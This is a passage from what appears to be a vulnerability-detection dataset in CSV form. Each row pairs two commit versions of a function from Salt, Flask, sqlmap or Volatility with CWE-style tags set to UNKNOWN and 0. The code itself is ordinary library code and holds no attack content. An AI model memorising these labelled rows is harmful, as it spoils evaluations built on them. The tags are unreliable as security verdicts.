        return any(
            isinstance(new_callback, type(original_callback))
            for original_callback in original_callbacks
        )

    if isinstance(original_callbacks, BaseCallbackManager):
        for callback in new_callbacks:
            if not _is_new_callback_already_in_original_callbacks(
                callback, original_callbacks.handlers
            ):
                original_callbacks.add_handler(callback)
        return original_callbacks

    if not isinstance(original_callbacks, list):
        original_callbacks = [original_callbacks]

    # Make a copy of the original callbacks to avoid modifying the original list
    updated_callbacks = list(original_callbacks)
    for new_callback in new_callbacks:
        if not _is_new_callback_already_in_original_callbacks(new_callback, original_callbacks):
            updated_callbacks.append(new_callback)

    return updated_callbacks"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/testsuite/ext.py,0,"def test_no_error_swallowing(self):
        try:
            import flask.ext.broken
        except ImportError:
            exc_type, exc_value, tb = sys.exc_info()
            self.assert_true(exc_type is ImportError)
            if PY2:
                message = 'No module named missing_module'
            else:
                message = 'No module named \'missing_module\''
            self.assert_equal(str(exc_value), message)
            self.assert_true(tb.tb_frame.f_globals is globals())

            # reraise() adds a second frame so we need to skip that one too.
            next = tb.tb_next.tb_next
            self.assert_in('flask_broken/__init__.py', next.tb_frame.f_code.co_filename)",,pallets/flask,85ba8c96e9371368cff772e4e270cf685d015e03,"def test_no_error_swallowing(self):
        try:
            import flask.ext.broken
        except ImportError:
            exc_type, exc_value, tb = sys.exc_info()
            self.assert_true(exc_type is ImportError)
            if PY2:
                message = 'No module named missing_module'
            else:
                message = 'No module named \'missing_module\''
            self.assert_equal(str(exc_value), message)
            self.assert_true(tb.tb_frame.f_globals is globals())

            next = tb.tb_next
            self.assert_in('flask_broken/__init__.py', next.tb_frame.f_code.co_filename)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/virt.py,0,"def init(name,
         cpu,
         mem,
         image=None,
         nic='default',
         interfaces=None,
         hypervisor=None,
         start=True,  # pylint: disable=redefined-outer-name
         disk='default',
         disks=None,
         saltenv='base',
         seed=True,
         install=True,
         pub_key=None,
         priv_key=None,
         seed_cmd='seed.apply',
         enable_vnc=False,
         enable_qcow=False,
         graphics=None,
         os_type=None,
         arch=None,
         **kwargs):
    '''
    Initialize a new vm

    :param name: name of the virtual machine to create
    :param cpu: Number of virtual CPUs to assign to the virtual machine
    :param mem: Amount of memory to allocate to the virtual machine in MiB.
    :param image: Path to a disk image to use as the first disk (Default: ``None``).
                  Deprecated in favor of the ``disks`` parameter. To set (or change) the image of a
                  disk, add the following to the disks definitions:

                  .. code-block:: python

                      {
                          'name': 'name_of_disk_to_change',
                          'image': '/path/to/the/image'
                      }

    :param nic: NIC profile to use (Default: ``'default'``).
                The profile interfaces can be customized / extended with the interfaces parameter.
                If set to ``None``, no profile will be used.
    :param interfaces:
        List of dictionaries providing details on the network interfaces to create.
        These data are merged with the ones from the nic profile. The structure of
        each dictionary is documented in :ref:`init-nic-def`.

        .. versionadded:: Fluorine
    :param hypervisor: the virtual machine type. By default the value will be computed according
                       to the virtual host capabilities.
    :param start: ``True`` to start the virtual machine after having defined it (Default: ``True``)
    :param disk: Disk profile to use (Default: ``'default'``). If set to ``None``, no profile will be used.
    :param disks: List of dictionaries providing details on the disk devices to create.
                  These data are merged with the ones from the disk profile. The structure of
                  each dictionary is documented in :ref:`init-disk-def`.

                  .. versionadded:: Fluorine
    :param saltenv: Fileserver environment (Default: ``'base'``).
                    See :mod:`cp module for more details <salt.modules.cp>`
    :param seed: ``True`` to seed the disk image. Only used when the ``image`` parameter is provided.
                 (Default: ``True``)
    :param install: install salt minion if absent (Default: ``True``)
    :param pub_key: public key to seed with (Default: ``None``)
    :param priv_key: public key to seed with (Default: ``None``)
    :param seed_cmd: Salt command to execute to seed the image. (Default: ``'seed.apply'``)
    :param enable_vnc:
        ``True`` to setup a vnc display for the VM (Default: ``False``)

        Deprecated in favor of the ``graphics`` parameter. Could be replaced with
        the following:

        .. code-block:: python

            graphics={'type': 'vnc'}

        .. deprecated:: Fluorine
    :param graphics:
        Dictionary providing details on the graphics device to create. (Default: ``None``)
        See :ref:`init-graphics-def` for more details on the possible values.

        .. versionadded:: Fluorine
    :param os_type:
        type of virtualization as found in the ``//os/type`` element of the libvirt definition.
        The default value is taken from the host capabilities, with a preference for ``hvm``.

        .. versionadded:: Fluorine
    :param arch:
        architecture of the virtual machine. The default value is taken from the host capabilities,
        but ``x86_64`` is prefed over ``i686``.

        .. versionadded:: Fluorine
    :param enable_qcow:
        ``True`` to create a QCOW2 overlay image, rather than copying the image
        (Default: ``False``).

        Deprecated in favor of ``disks`` parameter. Add the following to the disks
        definitions to create an overlay image of a template disk image with an
        image set:

        .. code-block:: python

            {
                'name': 'name_of_disk_to_change',
                'overlay_image': True
            }

        .. deprecated:: Fluorine
    :param pool:
        Path of the folder where the image files are located for vmware/esx hypervisors.

        Deprecated in favor of ``disks`` parameter. Add the following to the disks
        definitions to set the vmware datastore of a disk image:

        .. code-block:: python

            {
                'name': 'name_of_disk_to_change',
                'pool': 'mydatastore'
            }

        .. deprecated:: Flurorine
    :param dmac:
        Default MAC address to use for the network interfaces. By default MAC addresses are
        automatically generated.

        Deprecated in favor of ``interfaces`` parameter. Add the following to the interfaces
        definitions to force the mac address of a NIC:

        .. code-block:: python

            {
                'name': 'name_of_nic_to_change',
                'mac': 'MY:MA:CC:ADD:RE:SS'
            }

        .. deprecated:: Fluorine
    :param config: minion configuration to use when seeding.
                   See :mod:`seed module for more details <salt.modules.seed>`
    :param boot_dev: String of space-separated devices to boot from (Default: ``'hd'``)
    :param serial_type: Serial device type. One of ``'pty'``, ``'tcp'`` (Default: ``None``)
    :param telnet_port: Telnet port to use for serial device of type ``tcp``.
    :param console: ``True`` to add a console device along with serial one (Default: ``True``)
    :param connection: libvirt connection URI, overriding defaults

                       .. versionadded:: Fluorine
    :param username: username to connect with, overriding defaults

                     .. versionadded:: Fluorine
    :param password: password to connect with, overriding defaults

                     .. versionadded:: Fluorine

    .. _init-nic-def:

    .. rubric:: Network Interfaces Definitions

    Network interfaces dictionaries can contain the following properties:

    name
        Name of the network interface. This is only used as a key to merge with the profile data

    type
        Network type. One of ``'bridge'``, ``'network'``

    source
        The network source, typically the bridge or network name

    mac
        The desired mac address, computed if ``None`` (Default: ``None``).

    model
        The network card model (Default: depends on the hypervisor)

    .. _init-disk-def:

    .. rubric:: Disks Definitions

    Disk dictionaries can contain the following properties:

    name
        Name of the disk. This is mostly used in the name of the disk image and as a key to merge
        with the profile data.

    format
        Format of the disk image, like ``'qcow2'``, ``'raw'``, ``'vmdk'``.
        (Default: depends on the hypervisor)

    size
        Disk size in MiB

    pool
        Path to the folder or name of the pool where disks should be created.
        (Default: depends on hypervisor)

    model
        One of the disk busses allowed by libvirt (Default: depends on hypervisor)

        See the libvirt `disk element`_ documentation for the allowed bus types.

    image
        Path to the image to use for the disk. If no image is provided, an empty disk will be created
        (Default: ``None``)

    overlay_image
        ``True`` to create a QCOW2 disk image with ``image`` as backing file. If ``False``
        the file pointed to by the ``image`` property will simply be copied. (Default: ``False``)

    source_file
        Absolute path to the disk image to use. Not to be confused with ``image`` parameter. This
        parameter is useful to use disk images that are created outside of this module. Can also
        be ``None`` for devices that have no associated image like cdroms.

    device
        Type of device of the disk. Can be one of 'disk', 'cdrom', 'floppy' or 'lun'.
        (Default: ``'disk'``)

    .. _init-graphics-def:

    .. rubric:: Graphics Definition

    The graphics dictionnary can have the following properties:

    type
        Graphics type. The possible values are ``none``, ``'spice'``, ``'vnc'`` and other values
        allowed as a libvirt graphics type (Default: ``None``)

        See the libvirt `graphics element`_ documentation for more details on the possible types.

    port
        Port to export the graphics on for ``vnc``, ``spice`` and ``rdp`` types.

    tls_port
        Port to export the graphics over a secured connection for ``spice`` type.

    listen
        Dictionary defining on what address to listen on for ``vnc``, ``spice`` and ``rdp``.
        It has a ``type`` property with ``address`` and ``None`` as possible values, and an
        ``address`` property holding the IP or hostname to listen on.

        By default, not setting the ``listen`` part of the dictionary will default to
        listen on all addresses.

    .. rubric:: CLI Example

    .. code-block:: bash

        salt 'hypervisor' virt.init vm_name 4 512 salt://path/to/image.raw
        salt 'hypervisor' virt.init vm_name 4 512 /var/lib/libvirt/images/img.raw
        salt 'hypervisor' virt.init vm_name 4 512 nic=profile disk=profile

    The disk images will be created in an image folder within the directory
    defined by the ``virt:images`` option. Its default value is
    ``/srv/salt-images/`` but this can changed with such a configuration:

    .. code-block:: yaml

        virt:
            images: /data/my/vm/images/

    .. _disk element: https://libvirt.org/formatdomain.html#elementsDisks
    .. _graphics element: https://libvirt.org/formatdomain.html#elementsGraphics
    '''
    caps = capabilities(**kwargs)
    os_types = sorted({guest['os_type'] for guest in caps['guests']})
    arches = sorted({guest['arch']['name'] for guest in caps['guests']})
    if not hypervisor:
        hypervisor = __salt__['config.get']('libvirt:hypervisor', hypervisor)
        if hypervisor is not None:
            salt.utils.versions.warn_until(
                'Sodium',
                '\'libvirt:hypervisor\' configuration property has been deprecated. '
                'Rather use the \'virt:connection:uri\' to properly define the libvirt '
                'URI or alias of the host to connect to. \'libvirt:hypervisor\' will '
                'stop being used in {version}.'
            )
        else:
            # Use the machine types as possible values
            # Prefer 'kvm' over the others if available
            hypervisors = sorted({x for y in [guest['arch']['domains'].keys() for guest in caps['guests']] for x in y})
            hypervisor = 'kvm' if 'kvm' in hypervisors else hypervisors[0]

    # esxi used to be a possible value for the hypervisor: map it to vmware since it's the same
    hypervisor = 'vmware' if hypervisor == 'esxi' else hypervisor

    log.debug('Using hypervisor %s', hypervisor)

    # the NICs are computed as follows:
    # 1 - get the default NICs from the profile
    # 2 - Complete the users NICS
    # 3 - Update the default NICS list to the users one, matching key is the name
    dmac = kwargs.get('dmac', None)
    if dmac:
        salt.utils.versions.warn_until(
            'Sodium',
            '\'dmac\' parameter has been deprecated. Rather use the \'interfaces\' parameter '
            'to properly define the desired MAC address. \'dmac\' will be removed in {version}.'
        )
    nicp = _get_merged_nics(hypervisor, nic, interfaces, dmac=dmac)

    # the disks are computed as follows:
    # 1 - get the disks defined in the profile
    # 2 - set the image on the first disk (will be removed later)
    # 3 - update the disks from the profile with the ones from the user. The matching key is the name.
    pool = kwargs.get('pool', None)
    if pool:
        salt.utils.versions.warn_until(
            'Sodium',
            '\'pool\' parameter has been deprecated. Rather use the \'disks\' parameter '
            'to properly define the vmware datastore of disks. \'pool\' will be removed in {version}.'
        )

    if image:
        salt.utils.versions.warn_until(
            'Sodium',
            '\'image\' parameter has been deprecated. Rather use the \'disks\' parameter '
            'to override or define the image. \'image\' will be removed in {version}.'
        )

    diskp = _disk_profile(disk, hypervisor, disks, name, image=image, pool=pool, **kwargs)

    # Create multiple disks, empty or from specified images.
    for _disk in diskp:
        log.debug(""Creating disk for VM [ %s ]: %s"", name, _disk)

        if hypervisor == 'vmware':
            if 'image' in _disk:
                # TODO: we should be copying the image file onto the ESX host
                raise SaltInvocationError(
                    'virt.init does not support image '
                    'template in conjunction with esxi hypervisor'
                )
            else:
                # assume libvirt manages disks for us
                log.debug('Generating libvirt XML for %s', _disk)
                vol_xml = _gen_vol_xml(
                    name,
                    _disk['name'],
                    _disk['format'],
                    _disk['size'],
                    _disk['pool']
                )
                define_vol_xml_str(vol_xml)

        elif hypervisor in ['qemu', 'kvm']:

            create_overlay = enable_qcow
            if create_overlay:
                salt.utils.versions.warn_until(
                    'Sodium',
                    '\'enable_qcow\' parameter has been deprecated. Rather use the \'disks\' '
                    'parameter to override or define the image. \'enable_qcow\' will be removed '
                    'in {version}.'
                )
            else:
                create_overlay = _disk.get('overlay_image', False)

            if _disk['source_file']:
                if os.path.exists(_disk['source_file']):
                    img_dest = _disk['source_file']
                else:
                    img_dest = _qemu_image_create(_disk, create_overlay, saltenv)
            else:
                img_dest = None

            # Seed only if there is an image specified
            if seed and img_dest and _disk.get('image', None):
                log.debug('Seed command is %s', seed_cmd)
                __salt__[seed_cmd](
                    img_dest,
                    id_=name,
                    config=kwargs.get('config'),
                    install=install,
                    pub_key=pub_key,
                    priv_key=priv_key,
                )

        else:
            # Unknown hypervisor
            raise SaltInvocationError(
                'Unsupported hypervisor when handling disk image: {0}'
                .format(hypervisor)
            )

    log.debug('Generating VM XML')

    if enable_vnc:
        salt.utils.versions.warn_until(
            'Sodium',
            '\'enable_vnc\' parameter has been deprecated in favor of '
            '\'graphics\'. Use graphics={\'type\': \'vnc\'} for the same behavior. '
            '\'enable_vnc\' will be removed in {version}. ')
        graphics = {'type': 'vnc'}

    os_type = 'hvm' if 'hvm' in os_types else os_types[0]
    arch = 'x86_64' if 'x86_64' in arches else arches[0]

    vm_xml = _gen_xml(name, cpu, mem, diskp, nicp, hypervisor, os_type, arch, graphics, **kwargs)
    conn = __get_conn(**kwargs)
    try:
        conn.defineXML(vm_xml)
    except libvirtError as err:
        # check if failure is due to this domain already existing
        if ""domain '{}' already exists"".format(name) in six.text_type(err):
            # continue on to seeding
            log.warning(err)
        else:
            conn.close()
            raise err  # a real error we should report upwards

    if start:
        log.debug('Starting VM %s', name)
        _get_domain(conn, name).create()
    conn.close()

    return True",,saltstack/salt,4dbc2c939eecfba4d59db6040c3bc3eb3b3a85c5,"def init(name,
         cpu,
         mem,
         image=None,
         nic='default',
         interfaces=None,
         hypervisor=None,
         start=True,  # pylint: disable=redefined-outer-name
         disk='default',
         disks=None,
         saltenv='base',
         seed=True,
         install=True,
         pub_key=None,
         priv_key=None,
         seed_cmd='seed.apply',
         enable_vnc=False,
         enable_qcow=False,
         graphics=None,
         os_type=None,
         arch=None,
         **kwargs):
    '''
    Initialize a new vm

    :param name: name of the virtual machine to create
    :param cpu: Number of virtual CPUs to assign to the virtual machine
    :param mem: Amount of memory to allocate to the virtual machine in MiB.
    :param image: Path to a disk image to use as the first disk (Default: ``None``).
                  Deprecated in favor of the ``disks`` parameter. To set (or change) the image of a
                  disk, add the following to the disks definitions:

                  .. code-block:: python

                      {
                          'name': 'name_of_disk_to_change',
                          'image': '/path/to/the/image'
                      }

    :param nic: NIC profile to use (Default: ``'default'``).
                The profile interfaces can be customized / extended with the interfaces parameter.
                If set to ``None``, no profile will be used.
    :param interfaces:
        List of dictionaries providing details on the network interfaces to create.
        These data are merged with the ones from the nic profile. The structure of
        each dictionary is documented in :ref:`init-nic-def`.

        .. versionadded:: Fluorine
    :param hypervisor: the virtual machine type. By default the value will be computed according
                       to the virtual host capabilities.
    :param start: ``True`` to start the virtual machine after having defined it (Default: ``True``)
    :param disk: Disk profile to use (Default: ``'default'``). If set to ``None``, no profile will be used.
    :param disks: List of dictionaries providing details on the disk devices to create.
                  These data are merged with the ones from the disk profile. The structure of
                  each dictionary is documented in :ref:`init-disk-def`.

                  .. versionadded:: Fluorine
    :param saltenv: Fileserver environment (Default: ``'base'``).
                    See :mod:`cp module for more details <salt.modules.cp>`
    :param seed: ``True`` to seed the disk image. Only used when the ``image`` parameter is provided.
                 (Default: ``True``)
    :param install: install salt minion if absent (Default: ``True``)
    :param pub_key: public key to seed with (Default: ``None``)
    :param priv_key: public key to seed with (Default: ``None``)
    :param seed_cmd: Salt command to execute to seed the image. (Default: ``'seed.apply'``)
    :param enable_vnc:
        ``True`` to setup a vnc display for the VM (Default: ``False``)

        Deprecated in favor of the ``graphics`` parameter. Could be replaced with
        the following:

        .. code-block:: python

            graphics={'type': 'vnc'}

        .. deprecated:: Fluorine
    :param graphics:
        Dictionary providing details on the graphics device to create. (Default: ``None``)
        See :ref:`init-graphics-def` for more details on the possible values.

        .. versionadded:: Fluorine
    :param os_type:
        type of virtualization as found in the ``//os/type`` element of the libvirt definition.
        The default value is taken from the host capabilities, with a preference for ``hvm``.

        .. versionadded:: Fluorine
    :param arch:
        architecture of the virtual machine. The default value is taken from the host capabilities,
        but ``x86_64`` is prefed over ``i686``.

        .. versionadded:: Fluorine
    :param enable_qcow:
        ``True`` to create a QCOW2 overlay image, rather than copying the image
        (Default: ``False``).

        Deprecated in favor of ``disks`` parameter. Add the following to the disks
        definitions to create an overlay image of a template disk image with an
        image set:

        .. code-block:: python

            {
                'name': 'name_of_disk_to_change',
                'overlay_image': True
            }

        .. deprecated:: Fluorine
    :param pool:
        Path of the folder where the image files are located for vmware/esx hypervisors.

        Deprecated in favor of ``disks`` parameter. Add the following to the disks
        definitions to set the vmware datastore of a disk image:

        .. code-block:: python

            {
                'name': 'name_of_disk_to_change',
                'pool': 'mydatastore'
            }

        .. deprecated:: Flurorine
    :param dmac:
        Default MAC address to use for the network interfaces. By default MAC addresses are
        automatically generated.

        Deprecated in favor of ``interfaces`` parameter. Add the following to the interfaces
        definitions to force the mac address of a NIC:

        .. code-block:: python

            {
                'name': 'name_of_nic_to_change',
                'mac': 'MY:MA:CC:ADD:RE:SS'
            }

        .. deprecated:: Fluorine
    :param config: minion configuration to use when seeding.
                   See :mod:`seed module for more details <salt.modules.seed>`
    :param boot_dev: String of space-separated devices to boot from (Default: ``'hd'``)
    :param serial_type: Serial device type. One of ``'pty'``, ``'tcp'`` (Default: ``None``)
    :param telnet_port: Telnet port to use for serial device of type ``tcp``.
    :param console: ``True`` to add a console device along with serial one (Default: ``True``)
    :param connection: libvirt connection URI, overriding defaults

                       .. versionadded:: Fluorine
    :param username: username to connect with, overriding defaults

                     .. versionadded:: Fluorine
    :param password: password to connect with, overriding defaults

                     .. versionadded:: Fluorine

    .. _init-nic-def:

    .. rubric:: Network Interfaces Definitions

    Network interfaces dictionaries can contain the following properties:

    name
        Name of the network interface. This is only used as a key to merge with the profile data

    type
        Network type. One of ``'bridge'``, ``'network'``

    source
        The network source, typically the bridge or network name

    mac
        The desired mac address, computed if ``None`` (Default: ``None``).

    model
        The network card model (Default: depends on the hypervisor)

    .. _init-disk-def:

    .. rubric:: Disks Definitions

    Disk dictionaries can contain the following properties:

    name
        Name of the disk. This is mostly used in the name of the disk image and as a key to merge
        with the profile data.

    format
        Format of the disk image, like ``'qcow2'``, ``'raw'``, ``'vmdk'``.
        (Default: depends on the hypervisor)

    size
        Disk size in MiB

    pool
        Path to the folder or name of the pool where disks should be created.
        (Default: depends on hypervisor)

    model
        One of the disk busses allowed by libvirt (Default: depends on hypervisor)

        See the libvirt `disk element`_ documentation for the allowed bus types.

    image
        Path to the image to use for the disk. If no image is provided, an empty disk will be created
        (Default: ``None``)

    overlay_image
        ``True`` to create a QCOW2 disk image with ``image`` as backing file. If ``False``
        the file pointed to by the ``image`` property will simply be copied. (Default: ``False``)

    source_file
        Absolute path to the disk image to use. Not to be confused with ``image`` parameter. This
        parameter is useful to use disk images that are created outside of this module. Can also
        be ``None`` for devices that have no associated image like cdroms.

    device
        Type of device of the disk. Can be one of 'disk', 'cdrom', 'floppy' or 'lun'.
        (Default: ``'disk'``)

    .. _init-graphics-def:

    .. rubric:: Graphics Definition

    The graphics dictionnary can have the following properties:

    type
        Graphics type. The possible values are ``none``, ``'spice'``, ``'vnc'`` and other values
        allowed as a libvirt graphics type (Default: ``None``)

        See the libvirt `graphics element`_ documentation for more details on the possible types.

    port
        Port to export the graphics on for ``vnc``, ``spice`` and ``rdp`` types.

    tls_port
        Port to export the graphics over a secured connection for ``spice`` type.

    listen
        Dictionary defining on what address to listen on for ``vnc``, ``spice`` and ``rdp``.
        It has a ``type`` property with ``address`` and ``None`` as possible values, and an
        ``address`` property holding the IP or hostname to listen on.

        By default, not setting the ``listen`` part of the dictionary will default to
        listen on all addresses.

    .. rubric:: CLI Example

    .. code-block:: bash

        salt 'hypervisor' virt.init vm_name 4 512 salt://path/to/image.raw
        salt 'hypervisor' virt.init vm_name 4 512 /var/lib/libvirt/images/img.raw
        salt 'hypervisor' virt.init vm_name 4 512 nic=profile disk=profile

    The disk images will be created in an image folder within the directory
    defined by the ``virt:images`` option. Its default value is
    ``/srv/salt-images/`` but this can changed with such a configuration:

    .. code-block:: yaml

        virt:
            images: /data/my/vm/images/

    .. _disk element: https://libvirt.org/formatdomain.html#elementsDisks
    .. _graphics element: https://libvirt.org/formatdomain.html#elementsGraphics
    '''
    caps = capabilities(**kwargs)
    os_types = sorted({guest['os_type'] for guest in caps['guests']})
    arches = sorted({guest['arch']['name'] for guest in caps['guests']})
    hypervisors = sorted({x for y in [guest['arch']['domains'].keys() for guest in caps['guests']] for x in y})
    hypervisor = __salt__['config.get']('libvirt:hypervisor', hypervisor)
    if hypervisor is not None:
        salt.utils.versions.warn_until(
            'Sodium',
            '\'libvirt:hypervisor\' configuration property has been deprecated. '
            'Rather use the \'virt:connection:uri\' to properly define the libvirt '
            'URI or alias of the host to connect to. \'libvirt:hypervisor\' will '
            'stop being used in {version}.'
        )
    else:
        # Use the machine types as possible values
        # Prefer 'kvm' over the others if available
        hypervisor = 'kvm' if 'kvm' in hypervisors else hypervisors[0]

    # esxi used to be a possible value for the hypervisor: map it to vmware since it's the same
    hypervisor = 'vmware' if hypervisor == 'esxi' else hypervisor

    log.debug('Using hyperisor %s', hypervisor)

    # the NICs are computed as follows:
    # 1 - get the default NICs from the profile
    # 2 - Complete the users NICS
    # 3 - Update the default NICS list to the users one, matching key is the name
    dmac = kwargs.get('dmac', None)
    if dmac:
        salt.utils.versions.warn_until(
            'Sodium',
            '\'dmac\' parameter has been deprecated. Rather use the \'interfaces\' parameter '
            'to properly define the desired MAC address. \'dmac\' will be removed in {version}.'
        )
    nicp = _get_merged_nics(hypervisor, nic, interfaces, dmac=dmac)

    # the disks are computed as follows:
    # 1 - get the disks defined in the profile
    # 2 - set the image on the first disk (will be removed later)
    # 3 - update the disks from the profile with the ones from the user. The matching key is the name.
    pool = kwargs.get('pool', None)
    if pool:
        salt.utils.versions.warn_until(
            'Sodium',
            '\'pool\' parameter has been deprecated. Rather use the \'disks\' parameter '
            'to properly define the vmware datastore of disks. \'pool\' will be removed in {version}.'
        )

    if image:
        salt.utils.versions.warn_until(
            'Sodium',
            '\'image\' parameter has been deprecated. Rather use the \'disks\' parameter '
            'to override or define the image. \'image\' will be removed in {version}.'
        )

    diskp = _disk_profile(disk, hypervisor, disks, name, image=image, pool=pool, **kwargs)

    # Create multiple disks, empty or from specified images.
    for _disk in diskp:
        log.debug(""Creating disk for VM [ %s ]: %s"", name, _disk)

        if hypervisor == 'vmware':
            if 'image' in _disk:
                # TODO: we should be copying the image file onto the ESX host
                raise SaltInvocationError(
                    'virt.init does not support image '
                    'template in conjunction with esxi hypervisor'
                )
            else:
                # assume libvirt manages disks for us
                log.debug('Generating libvirt XML for %s', _disk)
                vol_xml = _gen_vol_xml(
                    name,
                    _disk['name'],
                    _disk['format'],
                    _disk['size'],
                    _disk['pool']
                )
                define_vol_xml_str(vol_xml)

        elif hypervisor in ['qemu', 'kvm']:

            create_overlay = enable_qcow
            if create_overlay:
                salt.utils.versions.warn_until(
                    'Sodium',
                    '\'enable_qcow\' parameter has been deprecated. Rather use the \'disks\' '
                    'parameter to override or define the image. \'enable_qcow\' will be removed '
                    'in {version}.'
                )
            else:
                create_overlay = _disk.get('overlay_image', False)

            if _disk['source_file']:
                if os.path.exists(_disk['source_file']):
                    img_dest = _disk['source_file']
                else:
                    img_dest = _qemu_image_create(_disk, create_overlay, saltenv)
            else:
                img_dest = None

            # Seed only if there is an image specified
            if seed and img_dest and _disk.get('image', None):
                log.debug('Seed command is %s', seed_cmd)
                __salt__[seed_cmd](
                    img_dest,
                    id_=name,
                    config=kwargs.get('config'),
                    install=install,
                    pub_key=pub_key,
                    priv_key=priv_key,
                )

        else:
            # Unknown hypervisor
            raise SaltInvocationError(
                'Unsupported hypervisor when handling disk image: {0}'
                .format(hypervisor)
            )

    log.debug('Generating VM XML')

    if enable_vnc:
        salt.utils.versions.warn_until(
            'Sodium',
            '\'enable_vnc\' parameter has been deprecated in favor of '
            '\'graphics\'. Use graphics={\'type\': \'vnc\'} for the same behavior. '
            '\'enable_vnc\' will be removed in {version}. ')
        graphics = {'type': 'vnc'}

    os_type = 'hvm' if 'hvm' in os_types else os_types[0]
    arch = 'x86_64' if 'x86_64' in arches else arches[0]

    vm_xml = _gen_xml(name, cpu, mem, diskp, nicp, hypervisor, os_type, arch, graphics, **kwargs)
    conn = __get_conn(**kwargs)
    try:
        conn.defineXML(vm_xml)
    except libvirtError as err:
        # check if failure is due to this domain already existing
        if ""domain '{}' already exists"".format(name) in six.text_type(err):
            # continue on to seeding
            log.warning(err)
        else:
            conn.close()
            raise err  # a real error we should report upwards

    if start:
        log.debug('Starting VM %s', name)
        _get_domain(conn, name).create()
    conn.close()

    return True"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/common.py,0,"def joinValue(value, delimiter=','):
    """"""
    Returns a value consisting of joined parts of a given value

    >>> joinValue(['1', '2'])
    '1,2'
    >>> joinValue('1')
    '1'
    >>> joinValue(['1', None])
    '1,None'
    """"""

    if isListLike(value):
        retVal = delimiter.join(getUnicode(_) for _ in value)
    else:
        retVal = value

    return retVal",,sqlmapproject/sqlmap,10f8b7d0e2deadcbe2de97ed08a02a121f58540e,"def joinValue(value, delimiter=','):
    """"""
    Returns a value consisting of joined parts of a given value

    >>> joinValue(['1', '2'])
    '1,2'
    >>> joinValue('1')
    '1'
    """"""

    if isListLike(value):
        retVal = delimiter.join(value)
    else:
        retVal = value

    return retVal"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/addrspaces/hibernate.py,0,"def __init__(self, base, config, **kwargs):
        self.as_assert(base, ""No base Address Space"")
        standard.FileAddressSpace.__init__(self, base, config, layered = True, **kwargs)
        self.runs = []
        self.PageDict = {}
        self.HighestPage = 0
        self.PageIndex = 0
        self.AddressList = []
        self.LookupCache = {}
        self.PageCache = Store(50)
        self.MemRangeCnt = 0
        self.offset = 0
        self.entry_count = 0xFF

        # Extract header information
        self.as_assert(self.profile.has_type(""PO_MEMORY_IMAGE""), ""PO_MEMORY_IMAGE is not available in profile"")
        self.header = obj.Object('PO_MEMORY_IMAGE', 0, base)

        ## Is the signature right?
        if self.header.Signature.lower() not in ['hibr', 'wake']:
            self.header = obj.NoneObject(""Invalid hibernation header"")
            volmag = obj.NoneObject(""Invalid hibernation header"")
        else:
            volmag = obj.VolMagic(base)
            self.entry_count = volmag.HibrEntryCount.v()

        PROC_PAGE = volmag.HibrProcPage.v()

        # Check it's definitely a hibernation file
        self.as_assert(self._get_first_table_page() is not None, ""No xpress signature found"")

        # Extract processor state
        self.ProcState = obj.Object(""_KPROCESSOR_STATE"", PROC_PAGE * 4096, base)

        ## This is a pointer to the page table - any ASs above us dont
        ## need to search for it.
        self.dtb = self.ProcState.SpecialRegisters.Cr3.v()

        # This is a lengthy process, it was cached, but it may be best to delay this
        # until it's absolutely necessary and/or convert it into a generator...
        self.build_page_cache()",,volatilityfoundation/volatility,3c9eb9e5beae06566aa8f26166835a0d8a69493a,"def __init__(self, base, config, **kwargs):
        self.as_assert(base, ""No base Address Space"")
        standard.FileAddressSpace.__init__(self, base, config, layered = True, **kwargs)
        self.runs = []
        self.PageDict = {}
        self.HighestPage = 0
        self.PageIndex = 0
        self.AddressList = []
        self.LookupCache = {}
        self.PageCache = Store(50)
        self.MemRangeCnt = 0
        self.offset = 0

        # Extract header information
        self.as_assert(self.profile.has_type(""_IMAGE_HIBER_HEADER""), ""_IMAGE_HIBER_HEADER not available in profile"")
        self.header = obj.Object('_IMAGE_HIBER_HEADER', 0, base)

        ## Is the signature right?
        if self.header.Signature.lower() not in ['hibr', 'wake']:
            self.header = obj.NoneObject(""Invalid hibernation header"")

        # Check it's definitely a hibernation file
        self.as_assert(self._get_first_table_page() is not None, ""No xpress signature found"")

        # Extract processor state
        self.ProcState = obj.Object(""_KPROCESSOR_STATE"", 2 * 4096, base)

        ## This is a pointer to the page table - any ASs above us dont
        ## need to search for it.
        self.dtb = self.ProcState.SpecialRegisters.Cr3.v()

        # This is a lengthy process, it was cached, but it may be best to delay this
        # until it's absolutely necessary and/or convert it into a generator...
        self.build_page_cache()"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/zypper.py,0,"def resolve_capabilities(pkgs, refresh, **kwargs):
    '''
    .. versionadded:: 2018.3.0

    Convert name provides in ``pkgs`` into real package names if
    ``resolve_capabilities`` parameter is set to True. In case of
    ``resolve_capabilities`` is set to False the package list
    is returned unchanged.

    refresh
        force a refresh if set to True.
        If set to False (default) it depends on zypper if a refresh is
        executed.

    resolve_capabilities
        If this option is set to True the input will be checked if
        a package with this name exists. If not, this function will
        search for a package which provides this name. If one is found
        the output is exchanged with the real package name.
        In case this option is set to False (Default) the input will
        be returned unchanged.

    CLI Examples:

    .. code-block:: bash

        salt '*' pkg.resolve_capabilities resolve_capabilities=True w3m_ssl
    '''
    if refresh:
        refresh_db()

    ret = list()
    for pkg in pkgs:
        if isinstance(pkg, dict):
            name = next(iter(pkg))
            version = pkg[name]
        else:
            name = pkg
            version = None

        if kwargs.get('resolve_capabilities', False):
            try:
                search(name, match='exact')
            except CommandExecutionError:
                # no package this such a name found
                # search for a package which provides this name
                try:
                    result = search(name, provides=True, match='exact')
                    if len(result) == 1:
                        name = result.keys()[0]
                    elif len(result) > 1:
                        log.warning(""Found ambiguous match for capability '%s'."", pkg)
                except CommandExecutionError as exc:
                    # when search throws an exception stay with original name and version
                    log.debug(""Search failed with: %s"", exc)

        if version:
            ret.append({name: version})
        else:
            ret.append(name)
    return ret",,saltstack/salt,569fe2a05a170b3fe1417bfee5b86cec7abf4987,"def resolve_capabilities(pkgs, refresh, **kwargs):
    '''
    .. versionadded:: 2018.3.0

    Convert name provides in ``pkgs`` into real package names if
    ``resolve_capabilities`` parameter is set to True. In case of
    ``resolve_capabilities`` is set to False the package list
    is returned unchanged.

    refresh
        force a refresh if set to True.
        If set to False (default) it depends on zypper if a refresh is
        executed.

    resolve_capabilities
        If this option is set to True the input will be checked if
